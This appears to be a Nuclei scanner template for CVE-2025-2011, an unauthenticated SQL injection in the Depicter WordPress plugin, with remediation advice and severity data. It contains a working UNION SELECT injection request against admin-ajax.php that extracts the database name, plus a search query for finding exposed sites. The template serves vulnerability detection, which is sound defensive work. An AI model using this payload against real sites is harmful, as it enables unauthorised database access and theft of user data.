id: CVE-2025-2011

info:
  name: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries through the 's' parameter, leading to extraction of sensitive database information including user credentials and content data.
  remediation: |
    Upgrade to Depicter version 3.6.2 or later that properly sanitizes the search parameter.
  reference:
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L23
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L49
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Database/Repository/LeadRepository.php?rev=3156664#L224
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Services/LeadService.php?rev=3156664#L82
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-2011
    cwe-id: CWE-89
    epss-score: 0.52383
    epss-percentile: 0.97968
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/depicter/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,sqli,vkev,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?s=9999')union+select+111,222,(select(concat(0x44617461626173653a20,database()))),4444,+5--+-&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Database: '
          - 'commonFields'
          - 'content'
        condition: and

    extractors:
      - type: regex
        part: body
        internal: false
        name: dbname
        group: 1
        regex:
          - '"id":"Database: (.*?)"'
# digest: 490a004630440220681f7e43f0d0592f8b93c5733df343735fb90e443e774ab62d539eda16b7d70a0220692d1c275d4c9e1197ff49f26df8ae66f428cd9bf7528416b72f6d28b48aa38b:922c64590222798bb761d5b6d8e72950